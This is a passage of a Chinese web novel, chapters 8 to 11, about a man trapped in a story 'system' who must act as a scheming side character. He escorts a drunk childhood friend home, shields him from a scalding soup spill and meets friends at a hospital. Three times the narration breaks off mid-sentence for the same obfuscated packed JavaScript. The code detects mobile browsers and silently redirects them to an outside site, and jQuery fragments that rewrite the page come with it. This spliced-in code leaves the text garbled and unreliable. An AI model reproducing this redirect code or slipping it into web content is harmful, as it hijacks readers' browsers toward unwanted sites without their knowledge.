“噗!咳、咳咳咳!” 李尚乐被酒呛到,扭头看了贺真一眼,感叹自己命苦,直接把其中一杯酒朝卓鹭元那边推过去:“不灌你酒,我心烦,一起喝点。” 卓鹭元还没接过那杯酒,城哥和阿衡就到了。卓鹭元口中的城哥不愧名字里带个哥,看见李尚乐在酒吧里还戴个帽子,心里觉得奇怪,直接走上前把他帽子摘了下来:“酒吧里还戴什么帽——” 李尚乐:…… 阿衡是个活泼的性格,笑得时候露出两颗虎牙:“原来他们说你打赌输了剃光头变成和尚了是真的啊!”说完他看到李尚乐手里的酒杯,不自觉打趣一句:“都出家了还喝酒,你这可不合适啊。” “谁说我出家了,我不就是剃了个光头吗!”李尚乐也没想到自己真的打赌会输,结果不仅钱扔进去了挨他爸一顿打不说,女主播也被封号了,他才郁闷呢! 今天是卓鹭元攒的局,他也懒得继续听李尚乐吐苦水,干脆举起酒杯主动和他碰了一下:“行了,吃一堑长一智,干什么不好,和别人争什么榜一大哥,也不怕别人笑话,喝酒喝酒。” 卓鹭元说完自己先喝了,李尚乐也没多说,两人碰过之后也一口气喝完了。 城哥把卓鹭元面前其他杯子移开,对贺真自我介绍:“我叫卢俊城,家里做房地产的,他们都喜欢开我玩笑,说做房地产的都是大哥,刚好我的年龄也大一点,就这么叫着了。他是宁之衡,我们都是一起从小玩到大的。” 贺真举起酒杯和两人碰杯,算是认识了。 先前听盛俊文说卓鹭元酒量不好,贺真还以为对方多少能喝点,总归也能喝个几杯。 谁想到卓鹭元一杯酒下肚,没过十分钟就变得双眼迷离脸色酡红,讲话也有些大舌头,对着离他最近,就坐在身边的贺真大声说到:“你凭什么比我高那么多!” 贺真:…… 他没记错卓鹭元只喝了一杯?而且喝醉了还记得身高的事情。 那是真的很在意了。 8. 第 8 章 贺真本来以为盛俊文口中的酒量差是个形容词,没想到是事实。 其实这也不能怪卓鹭元,今天在酒吧攒局的时候因为都是熟人,本来他也没想着喝酒,结果半路杀出来李尚乐这个倒霉蛋,卓鹭元只能陪着小喝一杯。 眼看着卓鹭元醉了还要和李尚乐喝第二杯,贺真拿过这个醉鬼手里的杯子和李尚乐碰了一下算作打招呼:“我是贺真,前段时间才回国,以后常联系。” 说完也不等李尚乐回话,仰头就把杯里的酒喝完了,半点不改面色,和旁边某人对比鲜明。 卓鹭元酒被抢走了,再想拿的时候连盛俊文都过来拦他了:“鹭元别喝了,你脸都红了。要不今天你先回,我们几个再陪李少坐一会,我送你回去。” 卓鹭元闹着不肯回,但显然几个人谁也没打算尊重他的意见。贺真想着自己住得近,于是自己揽下了送卓鹭元回家的事:“我送他回去吧,我们两家住得不远。” 那岂止是不远,基本就算邻居了。盛俊文显然也想到这一点,于是顺着贺真的意思答应下来:“那麻烦你送他回去了。”希望卓母看着贺真刚回国的份上别生气。 看这情形今天是聚不成了,就当带贺真认了个人,下次他们再聚。 贺真点头,打电话叫了司机过来,扶着喝醉的卓鹭元往酒吧外面走去。走到酒吧门口的时候贺真下意识看了一眼手表,他在里面坐了半个小时都没有。 也是头一次这么速通酒吧,算了。 卓鹭元喝完酒以后显然不太老实,贺真不得不使出点力气架着人塞进后座,帮他系好安全带防止乱动。 卓鹭元醉眼朦胧地看着贺真,坐在后座还记着喝酒这回事:“喝、喝啊,怎么不喝了?” 还没等贺真回答,卓鹭元又凑近贺真,疑惑地歪着头:“贺真真?你的…你的。双马尾怎么不见了?” 贺真:“…夏天天热,剪了。” 卓鹭元反应慢半拍,听完后停顿了好一会,然后缓缓点头:“对,夏天热。” 每个人都酒品不一样,贺真知道自己喝醉以后是什么样子,但他酒量很好,所以一般也很少有人能看到。 但显然卓鹭元的酒品和他的脾气不太一样,不仅话唠还发散思维,脱了缰的天马胡乱在天上飞,连一向沉稳的司机都没忍住悄悄投来目光。 别问贺真是怎么知道的,问就是缘分到了,在后视镜和司机对上了目光。 卓鹭元喝醉了也不睡觉,车子开进别墅区的时候捂着嘴说自己想吐,贺真没办法只好带着人下了车,结果卓鹭元又说自己好了,想吹着风散步。 贺真想把他抓回车上坐着,但卓鹭元就像个灌了铅的泥鳅,和这边也怕他真吐车上,只好扶着他慢慢走着。 晚风悄悄掠过卓鹭元的脸颊,他的酒意也散了些,贺真发现便有一搭没一搭地和他聊着天:“你好像不喜欢李尚乐?” 卓鹭元嘿嘿傻笑两声,说出的话却一点面子都不给李尚乐留:“我妈不让我和傻子玩。” 贺真:…他觉得卓母的原话应该不是这样的。 不过和卓鹭元比起来,李尚乐确实蠢一点,也不知道怎么想的,还和其他人打赌去给女主播刷礼物。 贺真笑道:“也是,这京圈佛子看着是傻了点。” 赢了也就算了,结果他还输了,连女主播也被封号了,也不知道李尚乐这京圈佛子和赢了像没赢的榜一大哥谁更倒霉就是了。 贺真扶着走得歪歪扭扭的卓鹭元往他家里走,没过五分钟就发现这家伙很难搞定。 卓鹭元的酒品不差,但也不能说好。卓鹭元自己心里清楚他的酒量,差不多三杯就能倒头就睡,但一杯的话就差不多属于要醉不醉精力旺盛的阶段。 但贺真不知道,所以当卓鹭元挣扎着推开贺真扶住自己的手,在安静地别墅区里扯着嗓子唱歌的时候,贺真眼前一黑,上前一把捂住了卓鹭元的嘴,把那令人头皮发麻的跑调歌声全堵了回去,在巡逻保安怀疑的眼神中尴尬笑笑,带着人快步往前走。 卓鹭元不满地挣扎,这人凭什么不让他唱歌,小时候爸妈和爷爷奶奶可喜欢听他唱歌了! 贺真拗不过他,又嫌他们继续在外面这样太丢人,心里一横,也不和这个醉鬼继续废话,把人像扛麻袋一样往肩上一扛,抬脚快步往卓家别墅走去! 卓鹭元原本还在和贺真拉扯,忽然脚下一空,脑袋也跟着眩晕,过了几秒才发觉贺真把自己当麻袋一样扛着,心里顿时不愿意了,他长这么大还没人敢这么对他! 卓鹭元张嘴骂贺真,一张嘴就吸了一口凉风,搞得他想吐,那点愤怒又跟着咽回肚子里,只是人还是很不甘心,所以在贺真肩上左扭右扭,试图表达自己的不满之意。 眼看着快到卓家别墅,贺真也总算是能松口气,对着还在扭动的卓鹭元也多了点耐心,在卓家门口不远处把人放下扶好,他可不想让卓父卓母看着自己扛着人家儿子回来,和土匪似的。 卓鹭元被放下来的时候挣扎的动作还没停,一个没站稳差点摔倒,被贺真一把捞住,因为身高的原因,右手刚好护在卓鹭元的……呃,屁.股上。 卓鹭元的酒一下子醒了,一跳三米远,红着脸捂着自己的屁.股,羞愤地指着贺真说:“你还说你对我没有企图!” 贺真看着自己的右手,觉得自己跳进恒河都洗不清了,连说出来的辩解苍白无力:“抱歉,我不是故意的,我只是想扶你,所以才不小心…” “你闭嘴,我才不相信你,你还故意偷拍我的照片发朋友圈!”卓鹭元打小就知道自己长得好看,这会儿更是肯定了贺真的别有用心,赶紧又警惕地退后两步:“喜欢我是没可能的,你趁早放弃吧!” 贺真算是体会到什么叫百口莫辩了,下意识开口为自己辩解:“我是一个直…直接的人,喜欢你也不会用这种揩油的方式。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664988|172965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你喝醉了,我送你到家门口,不然我不放心。”贺真本来想说自己是个直男,但在系统的警告声中一个急刹车,匆忙把话圆了回来。 “真的?”卓鹭元虽然觉得贺真也不像那种会揩油的人,但卓鹭元见过各种形形色色的人,尤其是色色的人不在少数,所以心里多少还是有些怀疑,自己走在前面,走两步就要回头确认一下,短短一截路愣是走了十来分钟。 最后贺真看着出来接人的管家,心情复杂地和对方点了一下头,然后转身回隔壁自己家。 卓母看着喝得醉醺醺地儿子,连忙迎上去问:“这又是和谁喝酒去了,是不是盛家那小子?你说你也是,知道自己不能喝还要去。” 卓鹭元到家后自己也松了一口气,和自己老妈解释:“没谁,就和贺真他们,带他见见朋友,本来也没打算喝酒,结果李尚乐来了,就陪着喝了一点。” 李尚乐的事卓母也知道,主要还是这件事比较丢人,好事没出门,坏事已经连小区的保安都知道了。 卓母有些无奈地拍拍卓鹭元的后背:“你早说给我打个电话,我让阿姨给你煮解酒汤了。元元,你可不能和他学,我看小贺那孩子就挺正经,别把他给带坏了。” 卓鹭元敷衍地应了两声,心里嘀咕:老妈,你嘴里的正经人刚才还在家门口吃你儿子豆腐,哪是什么正经人。 今天他要多洗一会儿澡! ---------------- 贺真回家时贺母还没睡,见贺真从外面回来,身上还带着酒气,心里估摸着应该是卓鹭元那孩子带贺真出去见朋友了。认识朋友嘛,没有什么比一起出去玩喝点酒最快了。 贺母让阿姨端了一杯蜂蜜水过来,摸了摸杯壁的温度递给贺真:“快喝点,今天喝酒了吧?” 贺真喝了一口温度适中的蜂蜜水,对着贺母摇了摇头:“我没喝,卓鹭元喝醉了,我送他回来的时候沾了点酒气。” 鹭元那孩子? 贺母记得那孩子好像。不太能喝酒,卓母还为此烦恼过,说他以后也是要接过家里生意的,不会喝酒怎么行?不过话虽如此,卓家两口子也不舍得让他练酒量,最多也就是嘴上念叨两句罢了。 贺母问了两句卓鹭元的情况:“那孩子酒量不好,以后出门在外你也多操心点,酒喝多了总归不好。” “好。”贺真乖顺点头,贺母又笑着和他说:“以前淑怡(卓母)没少和我说,看你和元元玩得那么好,要是个真的小姑娘就好了,咱们两家还能定个娃娃亲。” “元元?”贺真忽然开口,注意力都在卓鹭元的小名上:“他家里人也这么叫他?”他还以为就剧情台词会让贺真真这么叫他。 贺母理所应当地回答:“当然啦,这是他的小名,我还以为你知道,小时候才叫他元元哥哥。” 贺真想起晚上在卓家门口的事,可疑地沉默了一下。 确实挺圆的。 9. 第 9 章 接下来的几天卓鹭元再也没约过贺真,反而一直和盛俊文扎在一起,和盛俊文商量贺真的事。 盛俊文虽然觉得贺真不至于趁机揩油,但也理解卓鹭元这个风声鹤唳的样子,因为卓鹭元实在是以前经历过很多糟心的事。 卓鹭元长得好,身边追他的男男女女不少,还有一荤素不忌的老总趁着卓父带他出来应酬的时候偷偷塞名片还企图哄骗他去开房,结果被卓父发现的。 卓鹭元的拳头还没挥出去,卓父先动手打了对方一顿,放话让他滚出淮市,自此以后也不怎么热衷于带他出去应酬,生怕自己辛辛苦苦养的大白菜被人惦记。 盛俊文觉得卓鹭元有点杞人忧天,于是劝了他两句:“我觉得他和以前追你的那些人不一样,要不咱再观察观察?” “他手都摸我屁.股上了,我还要观察什么!”卓鹭元说完发现自己语气不太好,喝了口水冷静下来又补充道:“昨天他约我出去吃饭,你说我去不去?” 盛俊文想了想说:“去吧,这么躲着也不是个办法,而且不管怎么说,他那天确实送你回家了。你那酒品你也知道,我每次送喝醉的你回家我也害怕,你们那保安都快把我列成危险分子了。” 卓鹭元表情有点不自然,尴尬地移开目光:“…我那也不是故意的。算了,我去,不就是吃个饭吗,他还能吃了我不成,我就信他一次。” 贺真约卓鹭元吃饭的地方在四时居,是淮市有名的私房菜馆,同样也是系统发布的任务,而且还是重点任务:【宿主,此场景为男主遇到女主的重要剧情,只要完成了就有大量积分,宿主加油!】 贺真看了一眼这次预先发布的台词,默默在心里排练了几遍,争取到时候自己说出来的时候不会那么奇怪。 但愿卓鹭元别把他当成变态吧。 四时居环境很不错,包间里的布置简单雅趣,会依据四季的更替变换布置,并且推出一些时令菜色,不少老板宴请都喜欢选在这里。 贺真不知道卓鹭元的口味,点了几道招牌菜后便问卓鹭元的意见。卓鹭元显然常来这里,随口报了几道菜名就让服务员去准备了。 “看来你对这里很熟。”贺真拿起茶壶给卓鹭元添了杯茶,打量着包间里布置的花枝和瓷瓶,倒是很有意境。 “嗯,来过几次。”卓鹭元答道,心里觉得贺真还挺会挑地方,四时居的环境和菜色他挺喜欢。 不过他可不会把这话说出来,免得这人顺竿爬。 淮市这边的人吃饭有饭前一口汤的习惯,所以贺真也点了一道冬瓜火腿汤煲,不多时就有服务员将菜品送过来。 或许是温着火的汤煲有些重,在汤煲即将被端上桌的时候,服务员的手一时没拿稳,一个趔趄摔在了卓鹭元旁边,汤煲里的汤汁也跟着尽数洒出,朝卓鹭元泼去。 贺真眼疾手快,站起来一把拉开卓鹭元,自己的手臂却被洒上不少滚烫的汤汁,衣服上也多了一大片污渍。 卓鹭元急忙站起来拉开他的袖子察看情况。刚才卓鹭元看得清楚,那汤煲里的汤汁还在沸腾,这要是被烫到可怎么办! 贺真的衣袖被卓鹭元拉上去,虽然隔着一件薄外套和衣服,但贺真的手臂依然红了一大片,看起来就很不妙:“贺真,你的手被烫伤了,要不我们先去医院?” 贺真摇摇头示意自己没事,旁边的服务员在不停道歉:“对不起对不起,我不是故意的,这件衣服我可以赔偿!” 卓鹭元怒火正盛,看也不看服务员就骂道:“你没看见他受伤了?这是一件衣服的事吗!而且就这衣服的价格,你在这打一年工也买不起,闭嘴!” 贺真还没说话,熟悉的提示音就响起了:【贺真真看着祁琼音姣好的面庞,轻轻拉了拉卓鹭元的袖子,强撑起笑容,弱柳扶风地靠在卓鹭元肩膀上,:“既然她赔不起就算了吧。”祁琼音觉得自己被贺真真看不起了,屈辱地对卓鹭元说:“我知道我没有你们有钱,可我不会逃避责任,我会想办法还给你们的,你凭什么看不起我!”】 系统小声地凑在贺真旁边解释:“本来剧情应该是祁琼音泼到了主角,但宿主替主角挡了,不过应该也没关系吧?” 原来这就是女主。贺真看着一身服务员装扮的女主,暗想这女主光环还真是强大,系统让他约卓鹭元出去吃饭,他随便挑了个地方吃饭都能碰到。 贺真看了一眼祁琼音,拽了一下卓鹭元的袖子,弱柳…壮柳扶风地靠在卓鹭元肩膀上,尽量控制自己不去看卓鹭元的表情,自顾自地说:“既然她赔不起就算了吧。” 贺真看向祁琼音的眼神很平静,但祁琼音却觉得对方根本没把自己放在眼里,慷慨激昂地说:“你凭什么不把我放在眼里!是,我没你们有钱,但我说过我会赔偿的!” 不知道是不是名字里带个“琼”的原因,女主祁琼音可以说是很穷了,几乎所有空闲时间都在兼职打不同的工,这会脸上也不见疲惫,还能中气十足地质问贺真。 真不愧是女主啊。 卓鹭元心里一阵无语,直接叫来了经理处理这边的事,自己带着贺真去了医院,半个眼神都没有分给祁琼音。 贺真觉得没什么,毕竟隔着一层衣服,那些汤汁没有直接烫到皮肤。但卓鹭元态度强硬,贺真拗不过他,最终两个人还是坐上了去医院的车。 路上卓鹭元一直关注着贺真的情况,发现他被烫伤也只是表情难看了些,并没有多说什么,忽然小声地说了一句:“今天的事,谢谢你了。” 嗯?主角和他道谢了? 贺真刚才被泼的那一下是挺疼的,但这也怪不了卓鹭元,毕竟是他自己冲出去替他挡的,问题归根结底还是出在那个服务员,也就是女主身上。 贺真只是摇摇头表示没什么,任由卓鹭元拉着自己的手臂吹凉气,试图给他降降温。虽然刚才他们已经在饭店做过紧急处理,但两人都不是学医的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664989|172965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,当然还是来医院看一下医生比较保险。 看到卓鹭元紧张又认真地样子,贺真有些好奇他对女主的想法:“你觉得刚才那个服务员怎么样?” 卓鹭元本来就不喜那个服务员,听到贺真的问题更是心烦,也没收着脾气:“我能对她有什么看法,蠢货一个。人伤着了不知道帮忙就算了,还在惦记那身衣服,也不知道怎么招进去的。你也是,人重要还是衣服重要?” “当然是人重要。”卓鹭元语气虽然凶巴巴的,但贺真听得出对方对自己的关心,也没恼怒,反而顺着他的话往下说:“你呢,刚才汤汁溅得到处都是,你有没有被烫到?” 贺真虽然起身挡了,但当时情况紧急,他不知道卓鹭元有没有受伤。这会他抽出注意力去看卓鹭元,发现他的手背处红了一片,被他提醒后才后知后觉地察觉到疼:“还真被你说中了。不过只有这一块皮肤红了,没事。” 卓鹭元皮肤像了卓母,像是从小泡在牛奶里长大一样白皙,这会那块被烫伤的皮肤印在上面格外刺眼,贺真看着卓鹭元混不在意的样子,心想你这也好意思说我,嘴上却说:“等会儿让医生也给你开个药膏。” “哦。”卓鹭元随口答应了一句,两个人忽然又安静下来,不知道该说些什么。 卓鹭元这人有个小毛病,一旦和朋友安静下来没话可聊,心里就会默默回想自己在对方面前做过的蠢事,这会和贺真坐在车上也不例外,大脑不受控制想起了上次带他见朋友的事情。 以及在他面前喝醉唱歌的丢人往事。 卓鹭元下意识想捂脸拒绝承认那个喝醉了之后发疯唱歌,被贺真扛回家门的人是自己,手刚动了一下就对上了贺真不解的目光,话语中还带着关切:“怎么了,是不是手背又疼了?” 一向暴脾气的卓鹭元难得放轻声音,尽量用轻松的口吻和贺真商量:“我没事。那个,和你商量个事儿呗?” 贺真不知道自己有什么事能和他商量的,不明所以的点头:“你说。” 卓鹭元把自己冒了头的尴尬压下去,对贺真说:“上次我不是带你和亮子他们认识吗,当时喝了几杯酒,这些你还记得吧?” “嗯。”贺真又没喝醉,当然记得了。 “我要说的就是后面的事。”卓鹭元避开贺真的目光,认真地说:“把你带我离开酒吧,到我回家前的事儿全忘了,和谁也不许说,怎么样?” 听完卓鹭元的话以后贺真恍然大悟,这人是酒劲过了之后智商重回高地,后知后觉地来封自己的口了。贺真觉得卓鹭元有点意思,眼睛里也带出几分笑意,却被卓鹭元敏锐地捕捉到,还以为他是在嘲笑自己,那点伪装出的和颜悦色马上消失不见:“你在笑话我?” 贺真挑眉:“怎么,想封我口?” 卓鹭元一抬头,像只骄傲的孔雀:“是又怎样!” 贺真好整以暇地看着卓鹭元,问他:“说说看,想怎么封。” 10. 第 10 章 卓鹭元被贺真问住了,但仔细一想也是。 贺家的公司严格意义上来说比卓家还要强一些,贺真不缺钱,他也不知道贺真喜欢什么,一时间还真没什么想法。 卓鹭元憋着没说话思考半天,最后干脆选择放弃,直接问贺真:“那你想要什么?先说好,太离谱的不行。”说完又小声嘀咕了一句:“我都没提你摸我屁.股的事了。” 系统变的布偶猫缩在贺真腿边,水汪汪的大眼睛惊恐地看着贺真,不可置信地说:“宿主你你你你摸主角的屁.股了?!”宿主不是直男吗,而且它带的这个世界可不是纯爱频道啊! 贺真对系统的反应有些奇怪,心里悄声问它:“你之前不知道这件事吗?” 布偶猫疯狂摇头:“我们系统和宿主之间是有隐私保护协议的,宿主在进行例如洗澡或者和他人进行亲密接触的时候,系统需要规避以保护宿主的隐私。所以宿主你真的摸主角的屁.股了吗!” 贺真:“…我那是扶人的时候不小心的!” 系统想想也是,宿主前段时间还喊着自己是直男呢,估计就是个意外而已。系统放下心来,有些好奇地看着贺真:“宿主想向主角要什么封口费?”他还是第一次看到有宿主向主角要东西的呢。 系统和其他同事聊天,同事告诉他大部分宿主发现自己穿越,都想尽办法去抱主角的大腿,生怕自己大腿抱晚了被丢进炮灰堆里,哪还有人敢问主角要东西。 贺真也不打算要什么让卓鹭元为难的“封口费”,指着自己被污渍浸染的衣服说:“这身衣服是穿不成了,我看你的衣品不错,抽空帮我选一套?” 卓鹭元闻言松了口气,又恢复往日那副张扬的样子后座一靠:“早说嘛,这点小事没问题。”他还以为贺真会趁机提出一些奇奇怪怪的要求,没想到是这么正常的事。 贺真看着卓鹭元放下警惕的样子,觉得他肯定想歪了。 两个人到了医院,卓鹭元带着贺真去看了医生。医生检查过贺真的情况后提笔写着处方:“情况不是很严重,还好你们急救措施做得不错,又有这两层衣服挡着,要不然就有点麻烦了。” 卓鹭元的急救措施做得及时,当时就带着贺真去水龙头下冲洗,又和经理借了剪刀,从侧边剪开他的袖子,小心谨慎地把衣服碎片揭了下来。 医生给贺真做完消毒,处理了贺真皮肤上的水泡,开了外敷药膏给他,叮嘱他按时换药并且定期复查。 卓鹭元和医生道谢,拿了处方单去交钱开药,临出门前却被贺真叫住。贺真指了指旁边的卓鹭元,对医生说:“他也烫伤了,麻烦医生帮他看看。” 卓鹭元想说自己不用了,却被贺真强硬地按住坐下,医生拉住卓鹭元的手看了看,又多开了一张处方单:“问题不大,烫伤膏按时敷着。” 贺真谢过医生,起身跟着卓鹭元一起去拿药。 今天是个工作日,医院里的人却一点也不见少。贺真边走边问卓鹭元:“这家医院的人好像没有其他医院那么多,是你家里的产业吗?” 卓鹭元摇头,随口答道:“不是,这医院是那京圈佛子家开的。”上次贺真偶然间提了一嘴,卓鹭元觉得这个外号既贴切又阴阳怪气,真适合李尚乐那个笨蛋。 原来是李尚乐家的产业。 贺真没当回事,和卓鹭元往外走路过其他诊室时,忽然从某个诊室里传来一声熟悉的大叫:“什么,要两个月这么久!” 贺真和卓鹭元对视一眼,看了一眼诊室上的牌子:中医科。 里面的人正是李尚乐,这会正戴着帽子和口罩,不可置信地问里面的医生:“什么,要两个月才能长起来,那我岂不是要丢两个月的人!” “李尚乐,你在这干嘛呢?”卓鹭元露出个脑袋往诊室里探头看,李尚乐还没说话,里面的老中医先皱着眉头看他:“年轻人,你这又不是病理性脱发,你要是真喜欢长头发你干吗剃光头,头发正常长起来也就是一两个月的时间,你到底看不看病?” 老中医不满地看了一眼全副武装的李尚乐,搞不懂这年轻人想干什么。中医又不是魔法,怎么可能随便调个药水几天就让头发长起来嘛! 李尚乐:“……” 贺真:“……” 敢情李尚乐嫌弃自己光头的样子丢人,偷摸跑到自己家医院里来看老中医,妄图短时间内让头发快速长回来,结果被卓鹭元和贺真这两个人撞了个正着。 既然已经丢过人了,李尚乐也不藏着掖着,一把拽住老中医的手臂:“求你了给我开点生发药水吧,我要是这幅样子出门要被那群家伙笑死了,你就给我配点何首乌什么的,长一点头发都行啊!” 药哪是能乱配的,老中医摇摇头,无情地拒绝他:“药可不能乱用,年轻人你还是少熬夜少喝酒,作息好了头发自然长得快。下一个!”刚才他给李尚乐把脉,这年轻人可不像养生的样子。 下一位病人很快就进来诊室,李尚乐再不愿意也只能抬起屁股离开,生无可恋地重新戴好帽子,有气无力地看向旁边二人:“想笑就笑吧。你们两个怎么在这里?” 卓鹭元指着贺真的手臂解释:“贺真被烫伤了,来这边看医生。” 李尚乐从自己悲伤的情绪中挣脱出来,这才发现贺真的手臂受伤了,于是凑近过去看了一眼:“我去,什么情况?看着还挺严重的。” 卓鹭元简单地说了在四合居里发生的事,言语间对那个女服务生很不满:“虽然贺真说别计较了,但如果四时居那边没有任何惩罚和对贺真的赔偿,我就要找他们老板谈谈了。” 李尚乐点头:“也是,不然以后谁敢去他们家吃饭。贺真够仗义啊,还替你挡这一下,不愧是小时候老追在你后面找你玩的。”李尚乐说完还碰了一下卓鹭元的肩膀,暗示性地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664990|172965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲他挑挑眉。 卓鹭元没理他,他们两个的药还没拿,他也懒得再和李尚乐开玩笑,拿出处方单晃了晃:“行了,我俩还要去拿药,不陪你在这聊天了。” 李尚乐被老中医无情拒绝,这会也没其他事做,于是打算陪他们一起过去:“我陪你们一起去吧,怎么说也是我家里的地盘。对了,我这有个八卦,你俩想不想听?” 三个人边走边说话,到了窗口之后卓鹭元交了钱,把单子递给取药处的工作人员,侧身问李尚乐:“什么八卦,是我认识的人吗?” “那你肯定认识,贺真也认识,”李尚乐没卖关子,压低声音凑近两个人:“就是前段时间在酒会上和贺真闹不愉快的那个郑曦,最近不知道受了什么刺激,到处托人问有没有能长高的办法。” 聊八卦的李尚乐显然没发现卓鹭元和贺真无语的表情,还在自顾自地说着:“她都27岁了,也不看看自己是不是长个子的年纪,哪有什么秘方能让她长高。卓鹭元,该不会是你用她个子矮这个理由拒绝她了吧?” 李尚乐觉得这个理由虽然离谱,但也不是没可能,谁不知道郑曦一直对卓鹭元没死心,卓鹭元躲她快和躲以前的贺真真一样了。 卓鹭元马上澄清自己:“我可没有,别赖我身上。倒是你,这种事情你怎么知道的?” 说到这里李尚乐又变得垂头丧气起来:“谁让我家里是开医院的,她托人问这问这,就问到我们家这边来了。不知道是谁,还真给她介绍了一个老中医,让老中医给她开了个方子,我才知道这回事。” 贺真越听越觉得不对劲,略带怀疑地问他:“你说的这个老中医,该不会是…” 李尚乐生无可恋地点头:“对啊,可不是么。我想着这老中医这么厉害,连身高都能长了,区区长个头发不是手拿把掐的事儿嘛,所以我就…” 卓鹭元和贺真没说话,大概猜到了郑曦为什么突然发疯非要长身高,可不是上次逛商场的时候被人家的话气到了嘛,比如被错认成情敌女儿什么的,她当然不可能说出口了。 而且就老中医这不给病人乱开药方的脾气来看,他给郑曦开的多半也不是什么长身体的药,也就是李尚乐傻傻地跑过来了。 算了,反正和他没什么关系。 贺真和卓鹭元拿了药,就准备回去养伤了。贺真伤了右手,暂时没办法工作,贺母也把他压在家里休息,整个人心疼地不行:“受伤了还去什么公司,都是和你爸学的,不把自己的身体当回事!” 贺真无法,只好待在家里,琢磨他做完男女主初遇任务后,系统开发的新功能。 上次贺真做完任务后,系统就进行了一次更新,连续三天都没有来打扰他,贺真都有些不习惯了。 正当贺真在家里吃着水果惬意地养伤时,这狗系统嘀地一声上线了:【宿主,您想要的省略功能终于可以开启啦!】 11. 第 11 章 省略功能,顾名思义就是在台词任务开启的时候,宿主可以选择省略部分动作神态,方便宿主更好地完成任务。 其实这个功能在系统里算得上鸡肋,它同事带的宿主基本没有人会选择开启这个功能,没用还浪费积分,那些宿主更愿意选择用积分兑换各种技能天赋之类的。 系统对着贺真解释一番,贺真皱着眉不爽地看着它:“我不是已经开启了这个功能,为什么使用的时候还要付积分?” 当然是因为主系统是糖公鸡啦,不仅一毛不拔还要黏点下来! 系统也在腹诽主系统,主系统这样二次收费,搞得它一点油水都没办法从宿主身上捞到,还得好声好气地和贺真解释:“这是我们系统的规定,我也没办法。但这个要花的积分不是很多,差不多是任务奖励积分的十分之一,而且是有封顶的,不会克扣宿主的奖励。” 这似乎听起来还算可以接受,万一后面真刷出来什么贺真不能接受的剧情动作,他还能花点积分规避掉。 虽然贺真受伤了,但任务还是得做。 贺真打开系统面板,把主线任务搁在一边,在支线任务里挑着有没有目前自己能做的。贺真看来看去,还真从找到一个现在就能完成的任务:找卓鹭元的朋友打听他的喜好。 自从贺真做了一些任务以后,对于绿茶女配也有了一些心得。女配嘛,总是痴迷于追在男主身后,打听好男主的喜好,在各种场合“不经意”地与男主偶遇,和男主培养感情的同时再暗暗地拉踩一下情敌,可以说是很茶了。 以贺真现在右手的情况,那些偶遇的任务就算了,容易显得太刻意。因为是支线任务,系统也没有像主线任务一样限定台词,只要完成了给定任务目标就算成功。 贺真在脑中思索了一会,找到一个合适的人选:盛俊文。 盛俊文和卓鹭元是从小玩到大的发小,从卓鹭元能大早上把盛俊文从被窝里挖出来去接机,就能看出两个人的关系不是一般的好,找他打听再合适不过了。 自从上次被烫到之后,虽然事后四时居的经理亲自登门道歉,并且赔偿了医药费和一张会员卡,但短时间内贺真是不想再去四时居了。就是有些可惜,四时居的菜他还一口都没吃到。 所以贺真最后把地点选在了一家咖啡厅,医生让他养伤的时候吃清淡一些,他也不方便约盛俊文去其他地方。最近也不知道卓鹭元在忙什么,朋友圈没更新不说,也没再和贺真联系。 贺真心里有点好奇,准备到时候一起问问盛俊文,看他是不是知道些什么。 盛俊文接到贺真约自己出去的电话时十分迷茫,甚至疑惑地看了一眼自己的通话界面,不确定地问贺真:“你是不是打错了,其实你是想约鹭元的对吧?” 贺真:“…我没打错电话,确实是有事所以想约你出来,最近有空吗?” 盛俊文虽然摸不着头脑,但还是答应了贺真的邀约,两个人约定好在咖啡馆碰面。见面的第一句话,盛俊文就问了贺真的伤势:“你的伤怎么样,恢复了吗?” 贺真点头,答道:“恢复地不错,医生说再换两次药应该就全好了。想喝点什么?” 盛俊文点了杯意式浓缩,贺真也点了一样的,尽量委婉地提及自己的来意:“我们几个从小就在一起玩,后来因为我和父母出国的缘故,现在算起来也有很长时间没联系过了,国内的情形我也不是很了解。所以今天约你过来,是想问了解一下我走之后,以前朋友们的情况。” 盛俊文嘴上笑着附和,心里默默吐槽:什么想了解朋友们的情况,他就是想问卓鹭元的情况嘛,说不定还是感情状况。作为一个很义气的死党,盛俊文没有直接把卓鹭元卖掉:“其实也没什么,大多数都在准备接受家里的生意。其中有些人我们也不联系了,比较常联系的就是上次你在酒吧见到的那几个。” 说完盛俊文装作感慨的样子,不动声色地把话题岔开:“都这么多年过去了,早就物是人非了。去年还有一个碰了不该碰的东西,自己进去了不说,家里也跟着败了。” 贺真听出来盛俊文说的“不该碰的东西是什么”,心里觉得他进去也活该。 